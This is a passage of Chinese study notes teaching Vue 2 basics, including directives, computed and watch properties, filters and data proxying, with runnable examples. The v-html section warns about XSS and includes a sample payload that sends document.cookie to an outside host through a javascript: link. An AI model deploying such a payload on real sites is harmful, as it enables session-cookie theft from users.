当前位置: 首页 > news >正文

[Study]Vue

文章目录

  • 一、基础语法
    • 1.1 概述
    • 1.2 入门案例
    • 1.3 el 与 data
    • 1.4 MVVM
    • 1.5 数据代理
    • 1.6 事件处理
    • 1.7 计算属性
    • 1.8 监视属性
    • 1.9 绑定样式
    • 1.10 常用指令
    • 1.11 自定义指令
    • 1.12 列表数据处理
    • 1.13 表单数据收集
    • 1.14 过滤器
    • 1.15 :key 作用与原理
    • 1.16 数据监测原理
    • 1.17 生命周期
  • 二、组件化
    • 2.1 概述
    • 2.2 组件的定义和使用
    • 2.3 VueComponent
  • 三、脚手架
    • 3.1 开发环境配置
    • 3.2 render 函数
    • 3.3 ref 引用
    • 3.4 props 配置(组件通信)
    • 3.5 mixin 混入
    • 3.6 plugin 插件
    • 3.7 localStorage
    • 3.8 组件自定义事件(组件通信)
    • 3.9 全局事件总线(组件通信)
    • 3.10 消息订阅与发布(组件通信)
    • 3.11 $nextTick
    • 3.12 动画与过渡
    • 3.13 TodoList 案例
    • 3.14 配置代理
    • 3.15 GitHub 案例
    • 3.16 slot 插槽(组件通信)
  • 四、vuex 插件
    • 4.1 概述(组件通信)
    • 4.2 搭建 Vuex 环境
    • 4.3 求和案例
    • 4.4 vuex 中的四种 map
    • 4.5 vuex 模块化
  • 五、vue-router 插件
    • 5.1 概述
    • 5.2 路由基本使用
    • 5.3 嵌套与命名路由
    • 5.4 路由参数
    • 5.5 编程式路由导航
    • 5.6 缓存路由组件
    • 5.7 路由生命周期钩子
    • 5.8 路由守卫
    • 5.9 history 与 hash
  • 六、Vue3

一、基础语法

1.1 概述

  1. Vue:一套用于构建用户界面的渐进式 JavaScript 框架。何为渐进式?是指 Vue 可以自底向上逐层地应用,也即按需引入 Vue 的各种组件
  2. Vue 的发展历程:2013(0.6.0)、2014(0.8.0)、2015(1.0.0)、2016(2.0.0)、2020(3.0.0)
  3. Vue 的特点:
    • 采用组件化模式,提高代码复用率,易于维护
    • 声明式编码,无需直接操作 DOM,提高开发效率
    • 使用虚拟 DOM + 优秀的 Diff 算法,尽量复用 DOM 节点

1.2 入门案例

  1. 容器与 Vue 实例的关系:容器与 Vue 实例是一对一的关系,真实开发环境中只有一个 Vue 实例,并且会配合着组件一起使用
  2. 插值语法 {{}}:用于解析标签体内容,{{xxx}} 插值语法中 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性,一旦 data 中的数据发生改变,那么页面中用到该数据的地方都会自动解析并更新
  3. 指令语法:用于解析标签属性,如 v-bind
  4. 数据绑定:
    • 单向数据绑定(v-bind):v-bind: 可简写为 :
    • 双向数据绑定(v-model):只能用于表单类元素,v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是表单元素的 value 值
<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <title>Vue 入门案例</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
    <!-- 插值语法 -->
    <h1>Hello, {{ name.toUpperCase() }}</h1>
    <!-- 指令语法 -->
    <a v-bind:href="url">百度一下</a><hr/>

    <!-- 数据绑定 -->
    单向数据绑定(data -> 页面):<input type="text" v-bind:value="name"/><br/>
    双向数据绑定(data <-> 页面):<input type="text" v-model:value="name">
</div>

<script type="text/javascript">
    // 阻止 vue 在启动时生成生产提示
    Vue.config.productionTip = false

    new Vue({
        // el 即 element 指明当前 vue 实例为哪个容器服务
        el: '#root',
        // data 用于存储数据,供 el 指定的容器使用
        data: {
            name: 'Spring-_-Bear',
            url: 'https://baidu.com'
        }
    })
</script>
</body>
</html>

1.3 el 与 data

  1. el 的两种写法:

    // el 的第一种写法
    new Vue({
        el: '#root'
    })
    
    // el 的第二种写法
    const vm = new Vue({})
    vm.$mount('#root')
    
  2. data 的两种写法:

    • 对象式:

      data: {
          name: 'Spring-_-Bear'
      }
      
    • 函数式:由 Vue 管理的函数不能写为箭头函数,否则 this 指向存在问题

      // 函数式完整写法
      data: function () {
          return {
              name: 'Spring-_-Bear'
          }
      }
      // 函数式简写写法
      data() {
          return {
              name: 'Spring-_-Bear'
          }
      }
      

1.4 MVVM

  1. MVVM:

    • M(Model):模型,对应 data 数据
    • V(View):视图,对应模板代码
    • VM(ViewModel):视图模型,对应 Vue 实例对象

    在这里插入图片描述

  2. vm:data 中所有的属性最终都出现在了视图模型 vm 身上,vm 身上所有的属性以及 Vue 原型上的所有属性在模板中都可以直接使用

    <div id="root">
        <h1>{{ name }}</h1>
        <!-- vm 的 _data 属性,对应数据 data -->
        <h1>{{ _data }}</h1>
        <!-- Vue 的原型属性 $delete -->
        <h1>{{ $delete }}</h1>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        const vm = new Vue({
            el: '#root',
            data: {
                name: 'Spring-_-Bear'
            }
        })
        console.log(vm)
    </script>
    

1.5 数据代理

  1. Object.defineProperty 即为实现数据代理的基本原理:

    <script type="text/javascript">
        let number = 18;
        let person = {
            name: 'Spring-_-Bear',
            sex: '男'
        }
    
        Object.defineProperty(person, 'age', {
            // value: 18,          // 设置 person 对象的 age 属性值为 18
            // enumerable: true,   // 控制属性是否可以被遍历,默认 false
            // writable: true,     // 控制属性是否可以被修改,默认 false
            // configurable: true, // 控制属性是否可以被删除,默认 false
    
            // 当读取 person.age 时,get 函数自动调用,且返回值就是 person.age 的值
            get: function () {
                return number;
            },
            // 当修改 person.age 时,set 函数自动调用,且会收到具体修改的值
            set(val) {
                number = val;
            }
        })
    </script>
    
  2. 数据代理:通过一个对象代理对另一个对象的属性操作

    <script type="text/javascript">
        let obj1 = {age: 18};
        let obj2 = {};
        // obj2 代理 obj1 的属性操作
        Object.defineProperty(obj2, 'age', {
            get() {
                return obj1.age;
            },
            set(val) {
                obj1.age = val;
            }
        })
    </script>
    
  3. Vue 数据代理的基本原理:通过 vm 对象来代理 data 对象中属性的操作,如此可以更加方便地操作 data 中的数据

    • 复制 data:将 data 对象中的属性复制到 vm._data 对象中
    • _data 到 vm:通过 Object.defineProperty()vm._data 对象中所有属性添加到 vm 上
    • getter/setter:为每一个添加到 vm 上的属性都指定一个 getter/setter,在 getter/setter 方法内部操作 data 对应的属性

    在这里插入图片描述

1.6 事件处理

  1. 事件绑定:使用 v-on:@ 简写形式绑定对应的事件:

    <div id="root">
        <!-- v-on:click:不传递参数 -->
        <button v-on:click="clickMe">点我呀(不传参)</button>
        <!-- @click:传递参数 -->
        <button @click="sayHello($event, 'Hello World')">说你好(传递参数)</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            /*
             * 受 Vue 管理的函数不要写成箭头函数,否则 this 对象为 Window 而非 vm
             */
            methods: {
                clickMe(event) {
                    // 事件对象即 button 按钮元素
                    console.log(event.target.innerText)
                },
                sayHello(event, content) {
                    // this -> vm
                    console.log(this)
                    alert(content)
                }
            }
        })
    </script>
    
  2. 事件修饰符:

    • prevent:阻止事件的默认行为

      <a @click.prevent="sayHello" href="https://baidu.com">走,百度两下</a>
      
    • stop:阻止事件冒泡

      <div @click="sayHello">
          <!-- 先阻止事件冒泡,后阻止事件默认行为 -->
          <button @click.stop.prevent="sayHello">点我呀</button>
      </div>
      
    • once:事件只触发一次

      <button @click.once="sayHello">点击只生效一次哦</button>
      
    • capture:使用事件的捕获行为

      <div @click.capture="sayHello('div1')" style="width: 100px; height: 100px; background: red">
          div1
          <!-- 点击 div2 时总是先输出 div1 再输出 div2 -->
          <div @click="sayHello('div2')" style="width: 50px; height: 50px; background: skyblue">
              div2
          </div>
      </div>
      
    • self:只有 event.target 是当前操作的元素才触发事件

      <div @click.self="sayHello" style="height: 500px; width: 500px; background: red">
          <!-- 点击 button 时 div 的 click 事件不会响应 -->
          <button @click="sayHello">点我呀</button>
      </div>
      
    • passive:事件的默认行为立即执行,无需等待事件回调执行完毕

      <div id="root">
          <!-- 滚动条滑动事件 -->
          <ul @scroll="msg" style="height: 200px; width: 200px; background: red; overflow: auto">
              <li style="height: 100px">1</li>
              <li style="height: 100px">2</li>
              <li style="height: 100px">3</li>
              <li style="height: 100px">4</li>
              <li style="height: 100px">5</li>
          </ul>
          <!-- 鼠标滚轮滚动事件,加上 passive 事件修饰符后立即滑动滑动条,无需等待 msg 回调执行完成 -->
          <ul @wheel.passive="msg" style="height: 200px; width: 200px; background: red; overflow: auto">
              <li style="height: 100px">1</li>
              <li style="height: 100px">2</li>
              <li style="height: 100px">3</li>
              <li style="height: 100px">4</li>
              <li style="height: 100px">5</li>
          </ul>
      </div>
      
      <script type="text/javascript">
          Vue.config.productionTip = false
      
          new Vue({
              el: '#root',
              methods: {
                  msg() {
                      for (let i = 0; i < 100000; i++) {
                          console.log('bear')
                      }
                  }
              }
          })
      </script>
      
  3. 键盘事件:

    • Vue 中提供的按键别名,可直接用于绑定按键事件:enter、delete、esc、space、tab、up、down、left、right

      <div id="root">
          enter:<input type="text" @keyup.enter="show"/><br/>
          <!-- Tab 键的功能是从当前元素失焦,较为特殊,需绑定 @keydown 按下事件 -->
          tab:<input type="text" @keydown.tab="show" placeholder="绑定 @keydown 事件">
      </div>
      
      <script type="text/javascript">
          Vue.config.productionTip = false
      
          new Vue({
              el: '#root',
              methods: {
                  show(e) {
                      console.log(e.key, e.keyCode)
                  }
              }
          })
      </script>
      
    • Vue 未提供别名的按键,可以使用按键原始名称绑定,但多英文时注意要转为英文小写加短横线连接方式如 caps-lock

      大小写切换提示:<input type="text" @keyup.caps-lock="show"/>
      
    • 系统修饰键用法特殊:ctrl、alt、shift、meta(即 win 键)

      • 配置 @keydown 使用时:正常触发事件

      • 配合 @keyup 使用时:按下修饰键的同时按下其它键,释放其它键时事件才被触发

        Ctrl + Y 释放 Y 时触发事件:<input type="text" @keyup.ctrl="show">
        

1.7 计算属性

  1. 姓名案例使用函数方式实现:

    <div id="root">
        姓:<input type="text" v-model="firstName"><br>
        名:<input type="text" v-model="lastName"><br>
        全名:<span>{{ fullName() }}</span>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                firstName: '张',
                lastName: '三'
            },
            methods: {
                fullName() {
                    return this.firstName + '-' + this.lastName
                }
            }
        })
    </script>
    
  2. 姓名案例使用计算属性实现:computed 计算属性与 methods 方法实现相比有读取缓存机制,效率更高、调试方便

    <div id="root">
        姓:<input type="text" v-model="firstName"><br>
        名:<input type="text" v-model="lastName"><br>
        全名:<span>{{ fullName }}</span>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                firstName: '张',
                lastName: '三'
            },
            computed: {
                fullName: {
                    /*
                     * get() 调用时机:
                     *    1. 初次读取 fullName 属性时
                     *    2. fullName 所依赖的数据发生变化时
                     */
                    get() {
                        return this.firstName + '-' + this.lastName;
                    },
                    /*
                     * set(val) 调用时机:fullName 被修改时
                     */
                    set(val) {
                        let arr = val.split('-');
                        this.firstName = arr[0];
                        this.lastName = arr[1];
                    }
                }
            }
        })
    </script>
    
  3. 姓名案例计算属性的简写形式:

    computed: {
        // 当计算属性只读不改时可使用以下简写方式
        fullName() {
            return this.firstName + '-' + this.lastName;
        }
    }
    

1.8 监视属性

  1. 监视属性的第一种配置方式 watch

    <div id="root">
        <h1>今日天气:{{ weather }}</h1>
        <button @click="isHot = !isHot">变天咯</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        const vm = new Vue({
            el: '#root',
            data: {
                isHot: true
            },
            computed: {
                weather() {
                    return this.isHot ? '炎热' : '凉爽';
                }
            },
            watch: {
                // 监视数据
                isHot: {
                    //  immediate: true 初始化完成立即监视一次 isHot 的变化
                    immediate: true,
                    handler(newValue, oldValue) {
                        console.log(newValue, oldValue)
                    }
                },
                // 监视计算属性
                weather: {
                    handler(newValue, oldValue) {
                        console.log(newValue, oldValue)
                    }
                }
            }
        })
    </script>
    
  2. 监视属性的第二种配置方式 vm.$watch()

    // 第二种监视方式
    vm.$watch('isHot', {
        handler(newValue, oldValue) {
        	console.log(newValue, oldValue)
        }
    })
    
  3. 监视属性的简写形式:当监视的属性不需要其它配置项时可简写 handler 函数

    watch: {
        isHot(newValue, oldValue) {
            console.log(newValue, oldValue)
        }
    }
    
  4. 监视属性的深度监视配置:

    <div id="root">
        <h1>a = {{ numbers.a }}</h1>
        <button @click="numbers.a++">a++</button>
        <h1>d = {{ numbers.b.c.d }}</h1>
        <button @click="numbers.b.c.d++">d++</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                numbers: {
                    a: 1,
                    b: {
                        c: {
                            d: 1
                        }
                    }
                }
            },
            watch: {
                // 监视多级数据结构中某个属性的变化
                'numbers.a': {
                    handler(newVal, oldVal) {
                        console.log('a: ' + oldVal + ' -> ' + newVal)
                    }
                },
                // 监视多级数据结构中所有属性的变化
                numbers: {
                    // 开启深度监视
                    deep: true,
                    handler() {
                        console.log('numbers 发生了变化')
                    }
                }
            }
        })
    </script>
    
  5. 监视属性对比计算属性:computed 能完成的功能 watch 都可以完成,watch 能完成的功能 computed 不一定能完成,如 watch 可以进行异步操作等

    <div id="root">
        姓:<input type="text" v-model="firstName"><br>
        名:<input type="text" v-model="lastName"><br>
        全名:<span>{{ fullName }}</span>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                firstName: '张',
                lastName: '三',
                fullName: '张-三'
            },
            watch: {
                firstName(newVal) {
                    this.fullName = newVal + '-' + this.lastName;
                },
                lastName(newVal) {
                    /*
                     * 所有被 Vue 管理的函数最好写成普通函数,这样 this 的指向才是 vm 或组件实例对象
                     * 所有不被 Vue 管理的函数(定时器的回调函数、ajax 的回调函数、Promise 的回调函数等)最好写成箭头函数,这样 this 的指向才是 vm 或组件实例对象
                     */
                    setTimeout(() => {
                        this.fullName = this.firstName + '-' + newVal;
                    }, 3000);
                }
            }
        })
    </script>
    

1.9 绑定样式

  1. 绑定 class 样式之字符串写法:适用于样式的类名不确定,需要动态绑定

    <div id="root">
        <!-- 绑定 class 样式:字符串写法 -->
        <div class="basic" :class="changeMood">{{ name }}</div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                name: 'Spring-_-Bear',
                mood: 'happy',
            },
            methods: {
                changeMood() {
                    const arr = ['happy', 'sad', 'normal'];
                    this.mood = arr[Math.floor(Math.random() * 3)]
                }
            }
        })
    </script>
    
  2. 绑定 class 样式之数组写法:适用于要绑定的样式个数不确定,类名也不确定

    <div id="root">
        <!-- 绑定 class 样式:数组写法 -->
        <div class="basic" :class="classArr">{{ name }}</div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                name: 'Spring-_-Bear',
                mood: 'happy',
                classArr: ['sad', 'happy', 'funny']
            }
        })
    </script>
    
  3. 绑定 class 样式之对象写法:适用于要绑定的样式个数确定、类名也确

    <div id="root">
        <!-- 绑定 class 样式:对象写法 -->
        <div class="basic" :class="classObj">{{ name }}</div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                name: 'Spring-_-Bear',
                mood: 'happy',
                classObj: {
                    sad: true,
                    happy: false
                }
            }
        })
    </script>
    
  4. 绑定 style 样式之对象写法:

    <div id="root">
        <!-- 绑定 style 样式:对象写法 -->
        <div style="padding: 10px" :style="styleObj">{{ name }}</div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                name: 'Spring-_-Bear',
                styleObj: { fontSize: '40px' }
            },
        })
    </script>
    
  5. 绑定 style 样式之数组对象写法:

    <div id="root">
        <!-- 绑定 style 样式:数组对象写法 -->
        <div style="padding: 10px" :style="styleArrObj">{{ name }}</div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                name: 'Spring-_-Bear',
                styleArrObj: [
                    {fontSize: '40px'},
                    {backgroundColor: 'red'}
                ]
            },
        })
    </script>
    

1.10 常用指令

  1. 条件渲染指令:

    • v-show:控制元素的 display 属性从而实现元素展示与隐藏
    • v-if:从 document 中增、删对应的 DOM 元素
    <div id="root">
        <h1>n = {{ n }}</h1>
        <button @click="n++">n++</button>
        <!-- v-show:display none -->
        <div v-show="n === 3">n == 3</div>
        <!-- v-if:增、删节点 -->
        <div v-if="n < 1">n < 1</div>
        <div v-else-if="n >= 1 && n < 5">1 <= n < 5</div>
        <div v-else>n >= 5</div>
        <!-- template 只能与 v-if 配合使用 -->
        <template v-if="n === 1">
            <h1>北京</h1>
            <h1>欢迎</h1>
            <h1></h1>
        </template>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                n: 1
            }
        })
    </script>
    
  2. 列表渲染指令 v-for

    <div id="root">
        <h1>v-for 遍历数组</h1>
        <ul>
            <!-- in 也可以换为 of -->
            <li v-for="(item,index) in persons" :key="item.id">
                {{ index }}-{{ item.name }}-{{ item.age }}
            </li>
        </ul>
    
        <h1>v-for 遍历对象</h1>
        <ul>
            <li v-for="(val,key,index) in car" :key="index">
                {{ key }} : {{ val }}
            </li>
        </ul>
    
        <h1>v-for 遍历数字</h1>
        <ul>
            <li v-for="(val,index) in 5" :key="index">
                {{ index }} : {{ val }}
            </li>
        </ul>
    
        <h1>v-for 遍历字符串</h1>
        <ul>
            <li v-for="(val,index) in 'HelloWorld'" :key="index">
                {{ index }} : {{ val }}
            </li>
        </ul>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                persons: [
                    {id: '001', name: '张三', age: 3},
                    {id: '002', name: '李四', age: 4},
                    {id: '003', name: '王五', age: 5},
                ],
                car: {
                    name: '奥迪',
                    color: '红色',
                    price: '50w'
                }
            }
        })
    </script>
    
  3. 元素文本指令 v-text

    <div id="root">
        <!-- 以下两种方式等价,均将 name 解析为 div 中的文本值 -->
        <div>{{name}}</div>
        <div v-text="name"></div>
    </div>
    
  4. 内置 html 结构指令 v-html:v-html 存在安全性问题,在网站上动态渲染任意 HTML 都是非常危险的行为,容易导致 XSS 攻击

    <div id="root">
        <div v-text="'<h1>Hello World!</h1>'"></div>
        <div v-html="'<h1>Hello World!</h1>'"></div>
        <div v-html="str"></div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el: '#root',
            data: {
                // XSS 攻击示例
                str: '<a href=javascript:location.href="https://baidu.com?"+document.cookie>兄弟快来,这儿有好东西!</a>'
            },
        })
    </script>
    
  5. 元素渲染一次指令 v-once:v-once 修饰的节点在初次动态渲染完成后就视为静态内容,不再发生变化,可以用于性能优化

    <div id="root">
        <!-- 第一次读取 n 值后不再发生变化 -->
        <div v-once>初始值 n = {{ n }}</div>
        <div>现在值 n = {{ n }}</div>
        <button @click="n++">n++</button>
    </div>
    
  6. 免编译指令 v-pre:v-pre 指令修饰的节点 Vue 不进行编译,可加快页面加载速度

    <div id="root">
        <div v-pre>初始值 n = {{ n }}</div>
        <div>现在值 n = {{ n }}</div>
        <button @click="n++">n++</button>
    </div>
    
  7. v-clock 指令:v-cloak 指令配合 css 样式可以解决因网速慢导致页面展示出 {{xxx}} 的问题

    <!DOCTYPE html>
    <html lang="zh-cn">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    
        <style>
            [v-cloak] {
                display: none;
                opacity: 100%;
            }
        </style>
    </head>
    <body>
    <div id="root">
        <div>
            <h1>姓名:</h1>
            <!-- new Vue 实例创建完成并接管 #root 容器时,v-cloak 属性会被自动删除 -->
            <h1 v-cloak>{{ name }}</h1>
        </div>
    </div>
    </body>
    </html>
    

1.11 自定义指令

  1. 函数式自定义局部指令:自定义指令函数中的 this -> Window

    <div id="root">
        <div>n = {{ n }}</div>
        <!-- 通过自定义指令实现 n *= 10 -->
        <div>n * 10 = <span v-multiply="n"></span></div>
        <button @click="n++">n++</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                n: 1
            },
            // 自定义局部指令
            directives: {
                /*
                 * multiply 函数何时被调用:
                 *    1. 指令与函数成功绑定时
                 *    2. 指令所在的模板被重新解析时
                 */
                multiply(element, binding) {
                    /* 此处的 this 指向 Window */
                    element.innerText = binding.value * 10;
                }
            }
        })
    </script>
    
  2. 对象式自定义局部指令:自定义指令函数中的 this -> Window

    <div id="root">
        <div v-text="num"></div>
        <button @click="num++">num++</button>
        <!-- 通过自定义指令实现页面加载完成时自动聚焦 -->
        <input type="text" v-myfocus:value="num">
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                num: 1
            },
            // 自定义局部指令
            directives: {
                myfocus: {
                    // 指令与函数成功绑定时调用
                    bind(element, binding) {
                        element.value = binding.value
                    },
                    // 元素被插入到页面后调用
                    inserted(element, binding) {
                        element.focus()
                    },
                    //  指令所在的模板被重新解析时调用
                    update(element, binding) {
                        element.value = binding.value
                    }
                }
            }
        })
    </script>
    
  3. 自定义全局指令,可供多个 Vue 实例使用:

    <div id="root">
        <div>n = {{ n }}</div>
        <!-- 通过自定义全局指令实现 n *= 10 -->
        <div>n * 10 = <span v-multiply="n"></span></div>
        <button @click="n++">n++</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        // 自定义全局指令,可供多个 Vue 实例使用
        Vue.directive('multiply', function (element, binding) {
            element.innerText = binding.value * 10;
        });
    
        new Vue({
            el: '#root',
            data: {
                n: 1
            }
        })
    </script>
    

1.12 列表数据处理

  1. 列表数据过滤之监视属性实现:

    <div id="root">
        <input type="text" v-model="keyWord" placeholder="请输入关键字">
        <ul>
            <li v-for="p in filterPersons" :key="p.id">{{ p.name }}</li>
        </ul>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                keyWord: '',
                persons: [
                    {id: '001', name: '马冬梅'},
                    {id: '002', name: '周冬雨'},
                    {id: '003', name: '周杰伦'},
                    {id: '004', name: '蔡家伦'}
                ],
                // 存储过滤后的 persons 信息
                filterPersons: []
            },
            watch: {
                keyWord: {
                    // 加载完成就立即监视一次以显示数据
                    immediate: true,
                    handler(newVal) {
                        this.filterPersons = this.persons.filter((p) => {
                            return p.name.indexOf(newVal) !== -1;
                        });
                    }
                }
            }
        })
    </script>
    
  2. 列表数据过滤之计算属性实现:

    <div id="root">
        <input type="text" v-model="keyWord" placeholder="请输入关键字">
        <ul>
            <li v-for="p in filterPersons" :key="p.id">{{ p.name }}</li>
        </ul>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                keyWord: '',
                persons: [
                    {id: '001', name: '马冬梅'},
                    {id: '002', name: '周冬雨'},
                    {id: '003', name: '周杰伦'},
                    {id: '004', name: '蔡家伦'}
                ]
            },
            computed: {
                filterPersons() {
                    return this.persons.filter((p) => {
                        return p.name.indexOf(this.keyWord) !== -1;
                    });
                }
            }
        })
    </script>
    
  3. 列表数据排序:

    <div id="root">
        <input type="text" v-model="keyWord" placeholder="请输入关键字">
        <button @click="sortType = 0">原顺序</button>
        <button @click="sortType = 1">年龄升序</button>
        <button @click="sortType = 2">年龄降序</button>
        <ul>
            <li v-for="p in filterPersons" :key="p.id">姓名:{{ p.name }} 年龄:{{ p.age }}</li>
        </ul>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                keyWord: '',
                sortType: 0,
                persons: [
                    {id: '001', name: '马冬梅', age: 12},
                    {id: '002', name: '周冬雨', age: 5},
                    {id: '003', name: '周杰伦', age: 34},
                    {id: '004', name: '蔡家伦', age: 21}
                ]
            },
            computed: {
                filterPersons() {
                    const resArr = this.persons.filter((p) => {
                        return p.name.indexOf(this.keyWord) !== -1;
                    });
                    // 对过滤后的结果进行排序
                    if (this.sortType) {
                        resArr.sort((p1, p2) => {
                            return this.sortType === 1 ? p1.age - p2.age : p2.age - p1.age;
                        });
                    }
                    return resArr;
                }
            }
        })
    </script>
    

1.13 表单数据收集

<div id="root">
    <!-- prevent 阻止表单的默认提交行为 -->
    <form @submit.prevent="register">
        <!-- trim 修饰符去除字符串前后空格 -->
        账户:<input type="text" v-model.trim="user.account"><br/><br/>
        密码:<input type="password" v-model.trim="user.password"><br/><br/>
        <!-- number 修饰符将输入内容转换为数字 -->
        年龄:<input type="number" v-model.number="user.age"><br/><br/>
        性别:
        <input type="radio" name="sex" value="male" v-model="user.sex"><input type="radio" name="sex" value="female" v-model="user.sex"><br/><br/>
        爱好:
        <input type="checkbox" value="programming" v-model="user.hobbies">编程
        <input type="checkbox" value="read" v-model="user.hobbies">阅读
        <input type="checkbox" value="sleep" v-model="user.hobbies">睡觉
        <br/><br/>
        校区:
        <select v-model="user.school">
            <option value="请选择校区">请选择校区</option>
            <option value="yu">余家头</option>
            <option value="ma">马房山</option>
            <option value="nan">南湖</option>
        </select>
        <br/><br/>
        <!-- lazy 修饰符意为懒加载即当前元素失焦后收集 -->
        其它:<textarea v-model.lazy="user.comments"></textarea>
        <br/><br/>
        <input type="checkbox" v-model="user.agree"> 阅读并同意 <a href="https://baidu.com">《用户协议》</a>
        <br/><br/>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            user: {
                account: '',
                password: '',
                age: '',
                sex: 'male',
                hobbies: [],
                school: '请选择校区',
                comments: '',
                agree: false
            }
        },
        methods: {
            register() {
                console.log(JSON.stringify(this.user))
            }
        }
    })
</script>

1.14 过滤器

Vue 过滤器的功能是对要显示的数据进行格式化后,其并没有改变原本的数据,只是产生新的对应的数据。过滤器并不是必须要用的东西,它只是 Vue 给我们提供的新的数据处理方式,过滤器能做到的,用计算属性、methods方法依然可以实现

<!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.5/dayjs.min.js"></script> -->
<div id="root">
    计算属性实现 Datetime:{{ computedDatetime }} <br/><br/>
    方法实现 Datetime: {{ methodsDatetime(Date.now()) }} <br/><br/>
    <!-- 插值语法中使用过滤器 -->
    过滤器实现 Datetime: {{ Date.now() | timeFormatter }} <br/><br/>
    <!-- 数据绑定中使用过滤器 -->
    过滤器传参实现 Date: <span :text="Date.now() | timeFormatter('YYYY-MM-DD')"></span> <br/><br/>
    多级过滤器 Year:{{ Date.now() | timeFormatter('YYYY-MM-DD') | mySlice }}
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    // 全局过滤器,多个 Vue 实例可用
    Vue.filter('mySlice', function (val) {
        return val.slice(0, 4);
    });

    new Vue({
        el: '#root',
        data: {},
        computed: {
            computedDatetime() {
                return dayjs().format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods: {
            methodsDatetime(now) {
                return dayjs(now).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        filters: {
            // 若调用 timeFormatter 过滤器时传入了 formatStr 则使用传入值,否则使用默认值
            timeFormatter(val, formatStr = 'YYYY-MM-DD HH:mm:ss') {
                return dayjs(val).format(formatStr)
            }
        }
    })
</script>

1.15 :key 作用与原理

  1. :key 作用:用于标识当前元素的唯一性,利于 Vue 中元素 Diff 算法的比较

    <ul>
        <!-- in 也可以替换为 of -->
        <li v-for="(item,index) in persons" :key="item.id">
            {{ index }}-{{ item.name }}-{{ item.age }}
        </li>
    </ul>
    
  2. :key 使用 index 作为元素唯一标识容易产生的问题:

    • 当对 data 中的数据进行逆序添加、逆序删除等 破坏顺序 的操作时,会产生不必要的真实 DOM 更新,效率低
    • 当页面结构中还存在输入类的 DOM 时,会产生错误的 DOM 更新,如下图所示:

    在这里插入图片描述

    <div id="root">
        <h1>v-for 遍历数组</h1>
        <ul>
            <li v-for="(item,index) in persons" :key="index">
                {{ index }}-{{ item.name }}-{{ item.age }} <input type="text">
            </li>
        </ul>
        <button @click="addPerson">添加</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                persons: [
                    {id: '001', name: '张三', age: 3},
                    {id: '002', name: '李四', age: 4},
                    {id: '003', name: '王五', age: 5},
                ]
            },
            methods: {
                addPerson() {
                    const p = {id: '004', name: '赵六', age: 6}
                    this.persons.unshift(p);
                }
            }
        })
    </script>
    

    在这里插入图片描述

  3. Vue 中 :key 的内部原理:

    • key 是虚拟 DOM 的唯一标识,当数据发生变化时, Vue 会根据新数据生成新的虚拟 DOM,随后进行新虚拟 DOM 与旧虚拟 DOM 的 Diff 差异比较
    • 若旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key 且若内容未发生变化则使用之前的真实 DOM,否则根据新的虚拟 DOM 生成新的真实 DOM 并替换页面中真实 DOM

1.16 数据监测原理

  1. 模拟 Vue 监测对象数据 data:

    <script type="text/javascript">
        let data = {
            'name': 'Spring-_-Bear',
            'age': 18
        }
    
        // 创建一个监视实例对象,用于检测 data 的变化
        const obs = new Observer(data);
        let vm = {};
        vm._data = data = obs;
    
        function Observer(obj) {
            const keys = Object.keys(obj);
            // 遍历为每个 key 生成 getter 和 setter
            keys.forEach((key) => {
                // this 指向 Observer 实例对象
                Object.defineProperty(this, key, {
                    get() {
                        console.log('Data got successfully')
                        return obj[key];
                    },
                    set(newVal) {
                        console.log('Data has changed!');
                        obj[key] = newVal;
                    }
                })
            });
        }
    </script>
    
  2. vm.$set() 给对象追加属性以实现数据响应式监测:

    <div id="root">
        <h1>学生信息</h1>
        <button @click="addSex('')">添加学生性别</button>
